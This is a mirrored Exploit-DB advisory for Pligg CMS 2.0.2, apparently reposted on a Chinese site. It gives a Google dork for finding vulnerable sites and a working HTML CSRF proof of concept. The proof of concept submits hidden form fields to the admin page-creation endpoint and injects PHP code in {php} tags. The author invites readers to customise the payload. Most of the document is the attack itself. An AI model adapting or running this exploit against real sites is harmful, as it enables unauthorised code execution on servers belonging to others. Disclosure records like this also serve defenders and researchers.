Pligg CMS 2.0.2 – Arbitrary Code Execution - 体验盒子

作者： Arash Khazaei

日期： 2015-08-20

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/37894/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

<!--

# Exploit Title: Pligg CMS Arbitrary Code Execution

# Google Dork: intext:"Made wtih Pligg CMS"

# Date: 2015/8/20

# Exploit Author: Arash Khazaei

# Vendor Homepage: http://pligg.com

# Software Link:

https://github.com/Pligg/pligg-cms/releases/download/2.0.2/2.0.2.zip

# Version: 2.0.2

# Tested on: Kali , Iceweasel Browser

# CVE : N/A

# Contact : http://twitter.com/0xClay

# Mail : 0xclay@gmail.com

# Site : http://bhunter.ir

# Description :

# Pligg CMS Is A CMS Writed In PHP Language And Licensed Under GPL V 2.0

# In Pligg CMS Panel In Adding Page Section Pligg CMS Allow To Admin Add

PHP Codes In {php} {/php} Tags

# A CSRF Vulnerabilty In Adding Page Section Allow To Attacker To Execute

PHP Codes On Server .

# In This Exploit I Just Added a echo '<h1> Hacked </h1>'; Code You Can

Customize Exploit For Your Self .

# Exploit :

-->

<html>

<form action="http://localhost/pligg-cms/admin/submit_page.php"

method="POST" id="thisform" name="exploit">

<input type="hidden" name="page_title" id="page_title"

size="66"value="Hacked"/>

<input type="hidden" name="page_url" id="page_url" size="66"

value="Hacked"/>

<input type="hidden" name="page_keywords" id="page_keywords" size="66"

value="Hacked"/>

<input type="hidden" name="page_description" id="page_description"

size="66" value="Hacked"/>

<textarea type="hidden"id="textarea-1" name="page_content"

class="form-control page_content" rows="15"> {php}echo '<h1> Hacked </h1>';

{/php} </textarea>

</form>

</body>

</html>

<!--

# After HTML File Executed You Can Access Page In

http://localhost/pligg-cms/page.php?page=Hacked

# Discovered By Arash Khazaei . (Aka JunkyBoy (Nick Name Changed :P ))

-->